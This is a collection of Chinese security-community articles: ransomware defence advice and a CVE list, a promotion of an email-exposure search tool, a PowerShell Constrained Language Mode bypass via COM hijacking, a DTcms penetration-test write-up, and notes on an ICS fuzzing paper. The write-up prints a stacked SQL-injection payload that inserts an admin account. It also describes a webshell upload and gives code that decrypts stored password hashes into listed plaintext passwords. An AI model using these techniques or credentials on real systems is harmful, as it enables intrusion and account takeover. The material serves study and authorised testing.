1. 不要浏览来路不明的色情、赌博等不良信息网站，这些网站经常被用于发动挂马、钓鱼攻击。
2. 不要轻易打开陌生人发来的邮件附件或邮件正文中的网址链接。
3. 不要轻易打开后缀名为js、vbs、wsf、bat等脚本文件和exe、scr等可执行程序，对于陌生人发来的压缩文件包，更应提高警惕，应先扫毒后打开。
4. 电脑连接移动存储设备，如U盘、移动硬盘等，应首先使用安全软件检测其安全性。
5. 对于安全性不确定的文件，可以选择在安全软件的沙箱功能中打开运行，从而避免木马对实际系统的破坏。
采取及时的补救措施
1. 安装“360安全卫士”并开启“反勒索服务”，一旦电脑被勒索病毒感染，可以通过360反勒索服务申请赎金赔付，以尽可能的减小自身经济损失。
### 政企用户安全建议
1. 如用户处存在虚拟化环境，建议用户安装360网神虚拟化安全管理系统，进一步提升防恶意软件、防暴力破解等安全防护能力。
2. 安装天擎等终端安全软件，及时给办公终端打补丁修复漏洞，包括操作系统以及第三方应用的补丁。
3. 针对政企用户的业务服务器，除了安装杀毒软件还需要部署安全加固软件，阻断黑客攻击。
4. 企业用户应采用足够复杂的登录密码登录办公系统或服务器，并定期更换密码，严格避免多台服务器共用同一个密码。
5. 限制内网主机可进行访问的网络、主机范围。有效加强访问控制ACL策略，细化策略粒度，按区域按业务严格限制各个网络区域以及服务器之间的访问，采用白名单机制只允许开放特定的业务必要端口，其他端口一律禁止访问，仅管理员IP可对管理端口进行访问，如FTP、数据库服务、远程桌面等管理端口。
6. 对重要数据和核心文件及时进行备份，并且备份系统与原系统隔离，分别保存。
7. 部署天眼等安全设备，增加全流量威胁检测手段，实时监测威胁、事件。
8. 如果没有使用的必要，尽量关闭3389、445、139、135等不用的高危端口，建议内网部署堡垒机类似的设备，并只允许堡垒机IP访问服务器的远程管理端口（445、3389、22）。
9. 提高安全运维人员职业素养，除工作电脑需要定期进行木马病毒查杀外，如有远程家中办公电脑也需要定期进行病毒木马查杀。
10. 提升新兴威胁对抗能力
通过对抗式演习，从安全的技术、管理和运营等多个维度出发，对企业的互联网边界、防御体系及安全运营制度等多方面进行仿真检验，持续提升企业对抗新兴威胁的能力。
## 第六章 附录：勒索病毒已知被利用漏洞合集
已知被利用漏洞
---
RDP协议弱口令爆破
Windows SMB远程代码执行漏洞MS17-010
Win32k提权漏洞CVE-2018-8120
Windows ALPC提权漏洞CVE-2018-8440
Windows内核信息泄露CVE-2018-0896
Weblogic反序列化漏洞CVE-2017-3248
WeblogicWLS组件漏洞CVE-2017-10271
Apache Struts2远程代码执行漏洞S2-057
Apache Struts2远程代码执行漏洞S2-045
Jboss默认配置漏洞(CVE-2010-0738)
Jboss反序列化漏洞(CVE-2013-4810)
JBOSS反序列化漏洞(CVE-2017-12149)
Tomcat web管理后台弱口令爆破
Spring Data Commons 远程命令执行漏洞(CVE-2018-1273)
WINRAR代码执行漏洞(CVE-2018-20250)
Nexus Repository Manager 3远程代码执行漏洞(CVE-2019-7238)
## 360安服团队
360企业安全专注于探索安全服务新方向，创新性地提出了新一代安全服务体系及运营理念，以安全数据为基础，利用专业安全分析工具，通过咨询规划、数据分析、预警检测、持续响应、安全运营等一系列服务，在云端安全大数据的支撑下，为客户提供全周期的安全保障服务。
360安服团队在数据分析、攻击溯源、应急响应、重保演习等方面有丰富的实战经验，参与了多次国内外知名APT事件的分析溯源工作，参与了APEC、G20、两会、一带一路、纪念抗战胜利70周年阅兵、十九大、上合峰会等所有国家重大活动安全保障工作，屡获国家相关部门和客户的认可及感谢信。
政企机构中招客户可以联系：360企业安全集团，全国400应急热线：4008 136 360 转2 转4。 | 社区文章 |
# 最好的邮箱采集工具0.zone
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、背景
在攻防演练和实战攻防中，邮箱经常会被作为社会工程学的入口。一方面，由于邮箱地址的暴露，攻击者可以针对其进行钓鱼攻击或者直接投放各类免杀病毒；另一方面，邮箱也可能被作为“社工库”检索密码、ID、手机号、身份证等个人信息的关键标识。
所以在全面的主动防御工作中，对于邮箱地址暴露以及邮箱相关信息泄露的数据，往往能帮助CISO收敛攻击面和进行有效防范。
这方面的数据采集，国内曾经比较滞后，CISO只能通过自行采集或者hunter.io进行检索，而这一方面会造成数据收集不全面（例如检索面不够广，或者有的使用个人邮箱注册企业信息未被涵盖），在另一方面这些数据无法与在暗网中泄露的数据进行关联，达到更好的防御效果。
现在0.zone提供了最好的国内邮箱采集数据，协助CISO进行更好的主动防御工作： **https://0.zone**
本文举例中，展示的公司及邮箱，均经过相关公司或邮箱所有人授权许可。
## 二、用企业检索
第一种方法是使用企业信息进行检索。在0.zone的首页搜索企业名称，然后找到相关的企业报告，如下图红框所示：
在“邮箱”数据栏，可以看到“零零信安”公司有5个邮箱地址泄露。
绿色框中的这个为私人邮箱，是企业工商注册邮箱（可配合“人员”数据获悉），这个邮箱相关的个人隐私信息在暗网中存在7个泄露源，在下方标注了具体泄露源以及泄露数据的类型。
蓝色框中的这个为企业邮箱，下方标注了邮箱地址暴露源的详细地址，如果不需要暴露，可联系相关人员或平台，将暴露的邮箱地址删除或下线。
同时放上hunter.io的检索结果进行对比参考：
此外，进入“人员”数据，可以看到该企业其他相关人员信息，在“导出报告”时，可选择同时猜测相关人员邮箱地址。
另外的情况，在对大型集团企业，或者提供邮箱服务的企业进行检索时，可能出现“数据过度”的情况，也就是其中可能包含与大型企业相关的其他企业邮箱或者提供邮箱服务的企业的私有邮箱地址。这时候可在左侧栏选择相关邮箱域，进行精确检索。如下图所示：
上图为提供邮箱服务的某互联网企业，左侧红框中即为该企业内部员工的邮箱域，选择该选项，可获得精准数据：
同时依然用hunter.io进行数据对比：
更多使用技巧，以及高级搜索使用技巧，请关注“使用必读”，也可添加运营微信或进入社群进行咨询。
## 三、用邮箱域检索
对于需要进行精确邮箱域检索的场景，可直接在搜索栏输入邮箱域地址：“@XXX.COM”的格式进行检索。
同时，搜索栏也支持任意单一邮箱的精准查询。在进行精准查询的时候，会将具体该邮箱泄露的详细内容，例如泄露源、泄露数据类型、泄露时间等，进行显示，以供该邮箱拥有者进行有针对性的修改和防范。
## 四、如何下达检索任务
由于各种大中小微企业众多，邮箱域更多，0.zone在进行邮箱地址的暴露采集时，是根据企业进行采集的，所以在有的情况下，您的企业可能会出现未被收纳在系统中，或收纳在系统中但数据没有关联上，导致数据不完善。例如，某个公司如果叫“test123456公司”，它的数据未被收纳，则会出现类似以下两种提示：
注意，以上数据，在“全部”中未出现“企业报告”则代表未被收纳或数据未进行关联。
此时，请在右下角下达检索任务：
系统将会在一段时间后将数据进行检索、聚合或关联后，通知给您（依据系统当前任务队列情况不同，大约在1-4小时内会完成）。
## 五、邮箱暴露的风险
邮箱泄露包含：邮箱地址泄露，以及邮箱其他敏感信息的泄露。
邮箱地址的泄露，有时候是不可避免的，因为在需要的情况下，企业中某些邮箱是必须公开在互联网上的，例如商务合作邮箱等。但是更多的时候，很多邮箱地址是不需要暴露在互联网上的，尤其是企业员工邮箱和员工的个人邮箱。攻击者通常利用收集到的邮箱地址作为钓鱼邮件和投放宏病毒等的靶标，如果企业中有大量邮箱地址暴露，会增加防范难度，攻击者实施钓鱼或释放病毒的成功率将会大幅提高。
邮箱其他敏感信息的泄露，可能包含用户名、密码、电话号码、姓名、家庭住址、身份证号、银行卡号等等，这些信息通常并不是在公开网络上泄露的，更多可能性是在暗网中泄露。它们通常已经被攻击者制作成“社工库”，用于直接对于个人的信息攻击。
## 六、安全整改建议
无论对于邮箱地址的暴露，还是邮箱其他敏感信息的泄露，在0.zone中均尽量标注了其来源。
1. 企业针对邮箱地址的暴露源可进行检查，如果非必要，请联系相关平台或个人，将该暴露源中的邮箱地址删除。
2. 对于邮箱其他敏感信息的泄露，企业需要与相关泄露个人进行联系，督促其尽量修改相关的密码等信息。
3. 企业可部署双因素认证或者其他针对邮箱、OA等系统登录时更严格的安全策略。
4. 企业需要增强防病毒（尤其是邮件病毒）策略，以及办公网络的补丁策略，以防通过邮箱投放的各类病毒或蠕虫类软件。
5. 增强对于全员的安全意识教育，尤其是对于领导层、行政、运营、销售等岗位的安全意识教育，可有效增强对抗邮件钓鱼的攻击。 | 社区文章 |
# 如何利用COM绕过AppLocker CLM
|
##### 译文声明
本文是翻译文章，文章来源：mdsec.co.uk
原文地址：<https://www.mdsec.co.uk/2018/09/applocker-clm-bypass-via-com/>
译文仅供参考，具体内容表达以及含义原文为准。
## 一、前言
约束语言模式（Constrained Language
Mode，CLM）是限制PowerShell的一种方法，可以限制PowerShell访问类似`Add-Type`之类的功能或者许多反射（reflective）方法（攻击者可以通过这些方法，在后续渗透工具中利用PowerShell运行时作为攻击媒介）。
结合微软的描述，这个功能通常可以作为一种安全控制方案，防御方能够利用该功能阻止运行类似`Invoke-Mimikatz`之类的工具，因为这些工具非常依赖于反射技术。
当我准备渗透部署了CLM的目标环境时，我需要快速了解有哪些潜在方法能够绕过这种保护措施。我搭建了一个Windows
10测试环境，通过默认设置的规则来部署CLM。在本文中，我会与大家分享我的研究结果，介绍如何以非管理员用户身份绕过这种保护机制。
## 二、进入正题
在测试环境中，我们要做的第一件事就是启用AppLocker。在本文中我们将使用Windows默认部署的规则来限制脚本执行。运行Application
Identity服务后，我们可以使用如下命令确保本机已启用CLM：
$ExecutionContext.SessionState.LanguageMode
这里我们可以看到该命令的返回结果为`ConstrainedLanguage`，表明现在我们处于受限环境中。我们可以尝试使用PowerShell中的受限命令来验证这一点：
Add-Type "namespace test { }"
系统的确启用了CLM，那么我们如何才能绕过这个障碍？
## 三、AppLocker CLM中的New-Object
令人惊讶的是，当我开始搜寻CLM存在的攻击面时，我发现当通过AppLocker启用CLM时，`New-Object`依然可用（尽管仍受到一些限制）。这似乎与预期的场景不一致，但我们的确可以使用如下命令来确认这一点：
New-Object -ComObject WScript.Shell
这给我留下了一种完美方式，可以从PowerShell内部来操控PowerShell进程，这是因为COM对象由DLL托管，而DLL会被加载到调用进程中。那么我们如何才能创建可以被加载的COM对象？如果我们使用ProcMon工具来观察`New-Object -ComObject xpntest`的调用过程时，我们可以看到该过程会多次请求`HKEY_CURRENT_USER`注册表项：
仔细观察后，我们可以使用如下脚本来创建`HKCU`中所需的注册表键值：
现在如果尝试加载我们的COM对象，可以看到我们的DLL已被加载到PowerShell进程空间中：
非常好，现在我们已经可以在受限的上下文环境中，将任意DLL载入PowerShell进程中，无需调用动作太大的`CreateRemoteThread`或者`WriteProcessMemory`。但我们的目标是绕过CLM，如何利用我们的非托管（unmanaged）DLL加载方式来完成这个任务？我们可以利用.NET
CLR，或者更确切一点，我们可以通过非托管DLL加载.NET CLR来调用.NET assembly（程序集）。
## 四、从非托管DLL到托管DLL到反射
现在我们可以使用类似Cobalt Strike之类的工具，该工具提供了`Execute-Assembly`功能，可以将CLR加载到非托管进程中，操作起来非常方便。之前我在[GIST](https://gist.githubusercontent.com/xpn/e95a62c6afcf06ede52568fcd8187cc2/raw/f3498245c8309d44af38502a2cc7090c318e8adf/clr_via_native.c)上公开了一份代码，可以不依赖Cobalt
Strike来完成这个任务：
这里我不会讨论代码的详细内容（如果大家感兴趣可以去阅读微软的官方[示例](https://code.msdn.microsoft.com/windowsdesktop/CppHostCLR-e6581ee0)），该代码可以让DLL加载.NET
CLR，然后加载.NET assembly，然后将执行权传递给特定的方法。
该过程完成后，我们就可以访问.NET，更重要的一点是，我们可以访问.NET的反射功能。接下来我们需要找到启用/关闭CLM的具体位置。
反汇编组成PowerShell的.NET
assembly（即`System.Management.Automation.dll`）后，我们可以看到程序集的`System.Management.Automation.Runspaces.RunspaceBase.LanguageMode`属性中有一个地方可以标识当前的语言模式。由于我们要使用反射技术，因此需要找到引用`Runspace`的变量，在运行时修改该变量。我发现要完成该任务，最好的[办法](https://gist.githubusercontent.com/xpn/e95a62c6afcf06ede52568fcd8187cc2/raw/f3498245c8309d44af38502a2cc7090c318e8adf/clr_via_native.c)就是通过`Runspaces.Runspace.DefaultRunspace.SessionStateProxy.LanguageMode`，如下所示：
将代码编译成.NET
assembly，现在我们就可以通过反射方式禁用CLM，然后只需要创建一个[PowerShell脚本](https://gist.githubusercontent.com/xpn/1e9e879fab3e9ebfd236f5e4fdcfb7f1/raw/ceb39a9d5b0402f98e8d3d9723b0bd19a84ac23e/COM_to_registry.ps1)加以运行即可：
这样就能大功告成，详细过程可参考[演示视频](https://youtu.be/ghi2M80fiMU)。
## 五、背后原理
那么为什么COM可以绕过这种保护机制，PowerShell如何处理COM加载过程？
我们可以在`SystemPolicy.IsClassInApprovedList`方法中找到答案，该方法用来检查是否允许我们向`New-Object`提供的CLSID。深入分析该方法，我们可以看到主要工作由如下关键代码负责：
if (SystemPolicy.WldpNativeMethods.WldpIsClassInApprovedList(ref clsid, ref wldp_HOST_INFORMATION, ref num, 0u) >= 0 && num == 1) { ... }
该调用只是`WldpIsClassInApprovedList`函数（位于`wldp.dll`中）的一个封装函数，而后者用来检查CLSID是否匹配DeviceGuard（现在为Windows
Defender Application Control）策略。由于该方法没有考虑到AppLocker，这意味着通过检查的任何CLSID都可以畅行无阻。
## 六、奇怪的场景
结合前面分析，当我测试这种技术时，我陷入了一个奇怪的场景，当我们使用如下方法设置CLM时，这种技术将无法正常工作：
$ExecutionContext.SessionState.LanguageMode = "ConstrainedLanguage"
这让我有点困惑，因为之前我经常使用如上命令来测试载荷，此时我们面临的环境又有什么不同呢？回到我们的反汇编代码上，我们可以在`Microsoft.Powershell.Commands.Utility.dll`程序集中找到问题的答案，具体路径位于`NewObjectCommand`类的`BeginProcessing`方法中：
这里我们可以看到代码中存在2条路径，具体取决于CLM的启用方式。如果`SystemPolicy.GetSystemLockdownPolicy`返回`Enfore`，那么就会执行第1条路径，此时AppLocker或者DeviceGuard处于启用状态（并非我们使用`ExecutionContext.SessionState.LanguageMode`的场景）。如果直接设置这个属性，我们会直接进入`if
(!flag)…`代码段，此时就会抛出异常。从这里我们可以看到，CLM的行为实际上会根据具体的启用方法（是通过AppLocker、DeviceGuard启用还是通过`LanguageMode`属性来启用）而有所不同。
本文介绍的方法并不是绕过CLM的唯一方法，即使粗略分析PowerShell，我们也能找到实现类似效果的其他潜在方法。如果大家想了解其他技巧，可以参考Oddvar
Moe在Debycon上的精彩[演讲](https://docs.google.com/spreadsheets/d/1XCKWHuXrVNcmmL1HsXklMT9ati8WSxGZkV_79Jh7gqA/edit#gid=1460396465)。 | 社区文章 |
# 0x1第一天
在一次授权的攻防项目中，我和我的一个好兄弟在渗透过程中发现一个目标存在mssql注入，通过注入拿到了管理员的账号和密码
当时我和我的好兄弟高兴坏了，迫不及待的把拿到的数据进行解密（当时天真认为可以解密，马上getshell）由于是攻防演练，并且报告提交的越早分数就会越高，何况还是getshell
erui/E7B8D79CB1F8267E98411A1081B75FBD
admin/154A70BBAD1377B256671E16CAF430ED
lchh/262BA2BFC886B171B5488CA6E9F25BB8
结果发现根本解不出，后来发现原来是加盐MD5,想着先把盐值找到或许就能有一线突破
最终找到的盐值和账号对应如下
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
当时我和我兄弟在这里卡了半天，甚至是去网上搜索加盐md5的破解，后面发现根本解不出来
# 0x2第二天
我和兄弟那一晚上一夜未眠，想着各种法子去解密，网上各种办法，各种脚本都试了一遍，发现完全不行，突然一下有个念头一下子出来了，在上一次的攻防演练中，也是mssql注入，当时可以通过堆叠注入，自己插入一条数据，于是我们开始整理思路思路如下
#### 思路一
通过堆叠注入插入一条数据，直接登录（但是要自己找到一条加盐Md5）搭建这个cms搭建起来，自己创建一个管理员账号，然后插入进去
#### 思路二
找到对应的cms或者是网站源码，代码审计，试图找到加密流程或者是其他有用信息
#### 尝试思路
通过mssql注入的报错信息可以判断出为dtcms，于是我迫不及待的去github搜罗了一番，找到了其源码，首先想到的搭建起来这个cms，由于对net环境的不熟悉，加上搭建后各种报错，（让我抑郁了很久）继续信息收集，发现源代码下面有个SQL文件，进去搜索找到一条加密的数据，并且前期信息收集到dtcms的默认密码是admin888于是开始行动
全局搜索salt
INSERT [dbo].[dt_manager] ([id], [role_id], [role_type], [user_name], [password], [salt], [avatar], [real_name], [telephone], [email], [is_audit], [is_lock], [add_time]) VALUES (1, 1, 1, N'admin', N'87FA6AD6CBFDF3108E4DD6F47F5D04A4', N'24V0XZ', N'', N'超级管理员', N'13800138000', N'[email protected]', 0, 0, CAST(0x0000A73C00E1AC44 AS DateTime))
SET IDENTITY_INSERT [dbo].[dt_manager] OFF
插入payload如下
https://url?id=1;insert into dt_manager(role_id,role_type,father_id,user_name,password,salt,is_lock) values(1,1,0,'test','87FA6AD6CBFDF3108E4DD6F47F5D04A4','24V0XZ',0);-- +
插入的账号为test 密码是admin888
#### 登录账号
登录成功发现，权限为超级管理员，然后getshell（在某篇文章看到）文件上传类型添加aspx，ashx，然后上传相应的哥斯拉马，直连即可
最后我和我兄弟成功将这个站点拿下但是内心感觉还是空空的，先提交报告吧
# 0x3第三天
我和兄弟越想越不舒服，我们思路二还没试过呢，如果我们可以解密这个加密数据，是不是以后遇到类似的站点，假如不存在堆叠注入，岂不是不能插入数据，不行，必须得试一下，于是开始代码审计
#### .net基本知识
.ashx一般是网页文件。.cs文件一般是后台逻辑代码
#### 目前已有的数据
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84
#### 代码审计
在DTcms.Web中找到login.aspx.cs。通过调用manager类中的GetModel方法来判断是否登录成功
ps:这里BLL.manager()中BLL是一个命名空间。我们可以通过BLL这个名字在DTcms.BLL文件夹中找到manager.cs
接着在manager类中的GetModel方法中，发现在登录的时候会先从数据库中获得这个用户的盐值，然后根据输入的密码与盐值调用DESEncrypt.Encrypt(password,
salt)进行加密。后来知道了这里DESEncrypt是一个类，Encrypt是一个静态函数，所以可以直接调用
接着我们审计DESEncrypt中的Encrypt方法。在文件夹中搜索DESEncrypt,最终在DTcms.Common中找到了DESEncrypt类。加解密流程逻辑代码不需要细看，只需要知道就是传入密文和盐值调用Decrypt函数即可得到明文。
#### 源码如下
using System;
using System.Security.Cryptography;
using System.Text;
namespace DTcms.Common
{
/// <summary>
/// DES加密/解密类。
/// </summary>
public class DESEncrypt
{
#region ========加密========
/// <summary>
/// 加密
/// </summary>
/// <param name="Text"></param>
/// <returns></returns>
public static string Encrypt(string Text)
{
return Encrypt(Text, "DTcms");
}
/// <summary>
/// 加密数据
/// </summary>
/// <param name="Text"></param>
/// <param name="sKey"></param>
/// <returns></returns>
public static string Encrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
byte[] inputByteArray;
inputByteArray = Encoding.Default.GetBytes(Text);
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateEncryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
StringBuilder ret = new StringBuilder();
foreach (byte b in ms.ToArray())
{
ret.AppendFormat("{0:X2}", b);
}
return ret.ToString();
}
#endregion
#region ========解密========
/// <summary>
/// 解密
/// </summary>
/// <param name="Text"></param>
/// <returns></returns>
public static string Decrypt(string Text)
{
return Decrypt(Text, "DTcms");
}
/// <summary>
/// 解密数据
/// </summary>
/// <param name="Text"></param>
/// <param name="sKey"></param>
/// <returns></returns>
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}
#endregion
}
}
接着我们抄下DESEncrypt类中的解密代码进行解密。注意这里得using
System.Web,要引用System.Web.dll这个文件才能运行代码。代码段如下:
#### payload
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Security.Cryptography;
using System.Text;
using System.Web;
namespace ConsoleApp1
{
class Program
{
public static string Decrypt(string Text, string sKey)
{
DESCryptoServiceProvider des = new DESCryptoServiceProvider();
int len;
len = Text.Length / 2;
byte[] inputByteArray = new byte[len];
int x, i;
for (x = 0; x < len; x++)
{
i = Convert.ToInt32(Text.Substring(x * 2, 2), 16);
inputByteArray[x] = (byte)i;
}
des.Key = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
des.IV = ASCIIEncoding.ASCII.GetBytes(System.Web.Security.FormsAuthentication.HashPasswordForStoringInConfigFile(sKey, "md5").Substring(0, 8));
System.IO.MemoryStream ms = new System.IO.MemoryStream();
CryptoStream cs = new CryptoStream(ms, des.CreateDecryptor(), CryptoStreamMode.Write);
cs.Write(inputByteArray, 0, inputByteArray.Length);
cs.FlushFinalBlock();
return Encoding.Default.GetString(ms.ToArray());
}
static void Main(string[] args)
{
System.Console.WriteLine(Program.Decrypt("E7B8D79CB1F8267E98411A1081B75FBD", "24V0XZ"));
System.Console.WriteLine(Program.Decrypt("154A70BBAD1377B256671E16CAF430ED", "42V8XZ"));
System.Console.WriteLine(Program.Decrypt("262BA2BFC886B171B5488CA6E9F25BB8", "J6ZT84"));
}
}
}
最终得到明文
erui/E7B8D79CB1F8267E98411A1081B75FBD/24V0XZ lina790419
admin/154A70BBAD1377B256671E16CAF430ED/42V8XZ asdfghjk1
lchh/262BA2BFC886B171B5488CA6E9F25BB8/J6ZT84 sunlue2009
# 总结
通过这次攻防再一次加深了代码审计的重要性，有时候就是一个突破点，还有就是和兄弟在审计中遇到的困难，一次次被突破，那种感觉真的很爽！！ | 社区文章 |
# 《ICS3Fuzzer: A Framework for Discovering Protocol Implementation Bugs in ICS
Supervisory Software by Fuzzing》论文笔记
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## abstract+introduction
### 背景
工控网打破了工业物联网中假定的每个系统相互分离的限制，引入的威胁。工控网中的目标主要分为两类：一类是控制控制生产过程的设备，另一类是控制这些设备的监控软件supervisory
software。
### 问题
专注于分析针对PLC设备的supervisory software，特别是寻找其中有关协议实现的漏洞。（攻击面）
### 目前工作及其缺点
目前针对ICS内部的supervisory
software的fuzzing工作较少，并且受限，主要是三个方面：通常是运行在windows上的闭源程序，并且体量较大，严重依赖GUI；通常作为客户端，这对于fuzzer来说不易测试；通常使用专有协议进行通信，并且协议状态是和GUI紧耦合的。
现有fuzzing工作与ICS3fuzzer特性对比图
### 挑战
1. 闭源、体量大
2. 与GUI操作紧耦合
3. 私有协议
### 论文工作
提出了ICS3Fuzzer，ICS Supervisory Software Fuzzer，一个可移植的、模块化的，能够自动化测试supervisory
software的fuzzing框架。
**没有直接分析提取协议实现（因为十分困难），而是直接在同步控制GUI操作以及网络通信的情况下，直接运行和fuzz对应的supervisory
software。**
ICS3Fuzzer是黑盒的，通过自动化地输入专门生成地有效地输入并到达不同的协议状态，来持续地驱动整个过程。并且提出了新的fuzzy策略，倾向于更有可能发生漏洞的状态。测试目标时是结合模拟测试与实际测试的优缺点。
贡献：
1. 设计实现了ICS3Fuzzer
2. 提出了新的fuzzing策略
3. 结果好，并开源
## BACKGROUND AND MOTIVATION
### ICS Architecture
典型的ICS系统由三层,分别是（1） **Field Instrument Control Layer**
，由传感器（senior）和执行器（actuator）构成，用来进行系统的输入和输出（2） **Process Control Layer**
，由专用嵌入式设备组成，比如PLC/RTU，用来控制实时进程（3） **Supervisory Control Layer**
，由几个工作站组成，用来提供实时监控以及控制系统的设备。
ICS系统的几个显著的特点：
1. ICS直接与物理世界进行交互，因此其中的安全问题往往会造成更大的危害。
2. ICS必须可靠并且满足实时约束，必须使用实时操作系统，并且特定领域协议（domain-specific protocols）被用来在上述三层之间进行通信，并且协议往往未被加密。
3. ICS的网络是air-gaped，即与外部网络隔离，因此其中往往缺少很多安全性措施。但是随着IIOT的发展，这种隔离逐渐被削弱，因此会带来很多问题。
ICS系统中supervisory
software的共同特点为，都提供了用于读可操作变量、开启/停止PLC、下载固件等接口，这些功能在一个指定的信道进行通信，通信数据包含如下内容：
1. 实时设备状态：sensor reading、feedback of control command exectuion、heartbeat messages
2. 设备信息：device name、version、model、manufacturer
3. structured data block: program blocks、memory blocks、 diagnostic files
### Security Risks Exposed by Supervisory Software
生产系统种涉及OT和IT网络，supervisory
software运行在OT网络种，并且OT网络与IT网络之间存在强大的隔离，但是APT攻击往往能够穿透这层隔离。
#### Assumption
假设攻击者已经控制了ICS北部一台主机，并且能够监控、拦截、修改ICS内部主机之间的通信，即MITM attack。
#### Attack Approaches and Consequences
主要通过两种方式，一种是修改报文，使得Supervisory software 崩溃，另一种是利用Supervisory
software已有逻辑执行恶意命令。
## DESIGN OVERVIEW
### Movitating Example
下图表示的是supervisory software GX Words2和PLC之间的TCP session，在这个过程中，为了获取网络数据公开了许多
**input states** ，并且在每一个特殊的input state下，supervisory software都在等待一种特定的来自PLC
设备的报文。
我们定义一种session type作为一种 **functionality** ，双向交换报文。functionality是一种supervisory
semantic，例如向PLC中下载程序、开启PLC等等。
#### Key observartion
1. TCP session的开始往往是一种按钮操作（可理解为人工操作），有人类通过GUI界面完成。
2. 在session期间，在许多情况还需要额外的按钮操作来完成交互。
3. session通过周期性的交换heartbeat报文或者停止报文交换来结束此session。
#### New Insight
Supervisory software在不同的interaction states时往往有着不同的行为（code
execution），Supervisory
software的交互状态本质上是与PLC设备进行交互的特定的程序上下文；交互状态取决于几个因素，包括之前的按钮操作、之前的input
states等。Supervisory software的实现与GUI接口是高度耦合的。
### Challenges
1. **C1：Guiding the supervisory software to enter a specific input state.**
每个session都涉及了许多input states，为了能够达到针对input states较好的覆盖需要克服三个困难：
**首先** TCP session初始化是由作为client的supervisory software发起的，因此fuzzing
tool需要等待接收supervisory software发起的请求； **其次**
为了fuzz一个特定的输入状态，我们需要使得supervisory多次到达正确的交互状态，这需要同步三种事件，GUI操作、supervisory
software中的代码执行情况、设备的响应。没有设计专门的机制来自动且同步地操控GUI操作以及网络流量，很难做到这一点； **还有**
由于状态之间复杂的依赖关系，很多情况下都需要supervisory
software先到达某个特定状态，然后才能到达目标状态，然而仅仅是识别出相对完整的状态集合已经十分困难。
1. **C2：Fuzzing proprietary protocols with unknown message frame format and state-space.**
不知道状态空间就无法探索深度的程序路径以及深度的协议状态；不知道报文格式，就无法推断出报文字段值的约束关系，无法高效地生成有意义输入。
1. **C3：Simulating the session of proprietary protocol.**
对于每个supervisory
software发出的请求，都必须对其提供一个相应的回应，因此需要模拟这个session，但是这需要针对proprietary
protocols有一个全面的理解。
### Solutions to Challenges
**为了解决挑战C1** ，我们设计了一个新的控制机制，通过自动准确地同步GUI操作以及网络通信，到达任何被识别的input states。
**为了解决挑战C2** ，采用 **已有工作来逆向** 报文的格式，并且进行 **差异性分析识别字段与约束**
；为了识别协议状态以及过滤无效状态，不参用逆向的办法，而 **是建立基于执行路径与对应输入的state-book**
；为了能够对state能够达到较好地覆盖，提出新的切换state的策略。
**为了解决挑战C3** ，通过建立一组基于真实抓包流量建立的communication templates/patterns，进行PLC
device仿真，如果匹配不到合适的回复报文，那么就采用真正的PLC device.
## DETAILED DESIGN
ICS3Fuzzer的结构如下图所示，主要分为两部分Pre-processing phase和Fuzzing phase：
1. Pre-processing phase
1. Functionality analysis. 分析如何在fuzzing loop期间自动化地开启会话。
2. Proprietary protocol analysis. 分析报文格式以及状态空间，以帮助能够选择有价值的input states和生成高效的变异数据；根据捕获的流量模拟交互报文，从而不被限制在特定的硬件中。
2. Fuzzing phase：全自动的，并且由四步工作组成
1. 根据从state-book，选择一个有价值的input state。
2. 根据得到的协议格式信息，生成变异的输入。
3. 自动化地同步控制GUI操作以及网络通信，将变异数据喂给已选择的input state。
4. 监控supervisory software的status并且记录malformed input。
### Functionality Analysis
此部分的目的是准备进行task/functionality的UI组件，通过网络接口进行会话。利用`guiAutolit`来实现“activator”，可用来触发GUI事件，比如鼠标移动等。
具体来说，此步分为两部分：
1. 获取GUI handle：可以通过控制GUI handle来写脚本控制GUI事件
2. 定义操作顺序：functionality是按照特定的GUI操作顺序出发的。
最终ICS3Fuzzer可利用guiAutolit来自动化实现fuzzing。
### Proprietary Protocol Analysis
#### Inferring Protocol Format
利用现有工具`Towards automated protocol reverse engineering using semantic
information`
#### Obtaining State-Space
此步骤目的为了定义和区分session中的input state，往往一个session中包含许多input
state，并且其中有许多相似且重复的input state。
区分input states的办法：
1. 直接的办法：比较messages的相似性，但不准确
2. 论文方法：记录在对应input state下的execution trace（我理解为程序对每个message的execution trace），即是messages的区别很小也有可能导致十分不同的execution traces。在fuzzing过程中，应该着重关注那些能够导致更多中execution trace的input state。
